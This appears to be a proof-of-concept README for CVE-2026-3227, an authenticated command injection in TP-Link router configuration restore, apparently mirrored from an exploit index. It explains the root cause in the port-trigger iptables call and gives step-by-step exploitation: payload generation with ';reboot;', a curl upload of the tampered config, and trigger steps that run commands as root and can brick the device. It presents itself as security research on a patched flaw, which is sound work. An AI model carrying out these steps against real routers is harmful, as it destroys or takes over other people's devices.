Share
## https://sploitus.com/exploit?id=BD307E81-25CC-59FA-B6D0-3D9C36E25857
# CVE-2026-3227: TP-Link Router OS Command Injection

![CVE](https://img.shields.io/badge/CVE-2026--3227-red)
![Status](https://img.shields.io/badge/Status-Patched-success)
![Hardware](https://img.shields.io/badge/Target-TP--Link_Routers-blue)
![Language](https://img.shields.io/badge/Language-Python_|_C-yellow)

For more Information see https://vulners.com/cve/CVE-2026-3227

**A persistent, authenticated OS Command Injection vulnerability in TP-Link router firmware leading to device bricking or potential LAN takeover.**

> **Disclaimer**: This repository contains proof-of-concept (PoC) code for a patched vulnerability. It is intended for educational purposes and for security researchers.

## Executive Summary
A command-injection vulnerability exists in the configuration backup/restore mechanism of several TP-Link routers (including TL-WR802N, TL-WR841N, and TL-WR840N). An attacker with administrative access can download the router's configuration, decrypt it, inject a malicious OS command (up to 15 characters) into specific XML fields, re-encrypt it, and upload it back to the device. 

When the router applies the configuration (e.g., during port trigger events or at startup), the injected payload is executed as root. This can be used to cause a persistent bootloop (bricking the device permanently by surviving factory resets) or potentially enable a persistent backdoor for LAN pivoting.

---

## The Discovery Journey (How I Found It)
While exploring the router’s configuration backup feature, I decided to reverse-engineer the `httpd` binary and the `libcmm.so` library to understand how configuration files are encrypted and parsed. 

1. **Decryption**: I successfully wrote a Python script to decrypt the router’s config blob, allowing me to read the underlying XML configuration. 
2. **Finding the Sink**: While analyzing the XML parameters, I found injection endpoints that were passed directly to system execution functions without sanitization.
3. **The Encryption Challenge**: Reproducing the encryption algorithm was difficult. Despite reversing the code and attempting to re-implement the algorithm in Python and C, I could not produce an encrypted file that the router would accept.
4. **The Workaround (QEMU Hooking)**: Instead of reinventing the wheel, I took an offensive engineering approach. I emulated the router's architecture using `qemu-user` and hooked the router’s original `httpd` binary at runtime (`create_config.c`). This allowed me to invoke the router’s native encryption functions directly from my Python PoC, perfectly mimicking the original encryption format.

---

## Technical Deep Dive / Root Cause Analysis

The vulnerability lies in how the product parses the encrypted configuration blob and applies it at runtime. In the port-triggering configuration path, the implementation constructs shell commands using user-controllable fields without proper sanitization. 

Specifically, the function `oal_pt_addPortTrigger` calls:

```c
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
```

The `%s` format string is populated with an interface string (`X_TP_IfName`) parsed directly from the uploaded XML configuration. 

The execution flow:
1. **Upload**: `http_cgi_gdpr_main` -> `rdp_setObj` -> `rsl_setObj` -> `oal_pt_addPortTrigger`
2. **Parsing**: `oal_pt_addPortTrigger` calls `forward_parsePtOpenPort` to parse port lists.
3. **Execution**: The system builds the `iptables` command string and executes it via `util_execSystem` (which wraps `system()`).

By modifying the decrypted XML to include:
```xml

```
The command is executed during interface initialization at startup or when a port-trigger event occurs. Because the payload is limited to **15 characters**, crafting the exploit requires compact command execution techniques.

## Proof of Concept (PoC)

To avoid distributing copyrighted TP-Link binaries, this PoC requires you to extract the router's file system yourself to utilize the native encryption libraries via a custom QEMU hook.

### Prerequisites
* `qemu-mipsel` and a cross-compiler (`gcc-mipsel-linux-gnu`)
* Python 3 and dependencies (`pip install pycryptodome`)
* Firmware extracted using `binwalk -Me `

### Step 1: Prepare the Environment
1. Extract the target firmware and copy the `squashfs-root` directory into 'python_utils/' of this project.
2. Compile the QEMU hook:
   ```bash
   mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
   ```

### Step 2: Generate the Malicious Configuration
1. Log into your router and download a backup configuration (`config.bin`).
2. Run the payload generator:
   ```bash
   python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
   ```
   *Note: Payload must not exceed 15 characters.*

### Step 3: Upload the config via curl (the update feature on my router was just a gimmick and didn't actually do anything).
```
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=" \
  -F "filename=@exploit.bin;type=application/octet-stream"
```

### Step 3: Trigger the Exploit
1. Once the router restarts and applies the settings, navigate to **Forwarding -> Port Triggering**.
2. **Add a new Port Trigger** (e.g., Select "Battle.net" from the dropdown) and save.
3. The injected OS command will execute as `root`. If you used `;reboot;`, the router will immediately restart and enter a persistent bootloop.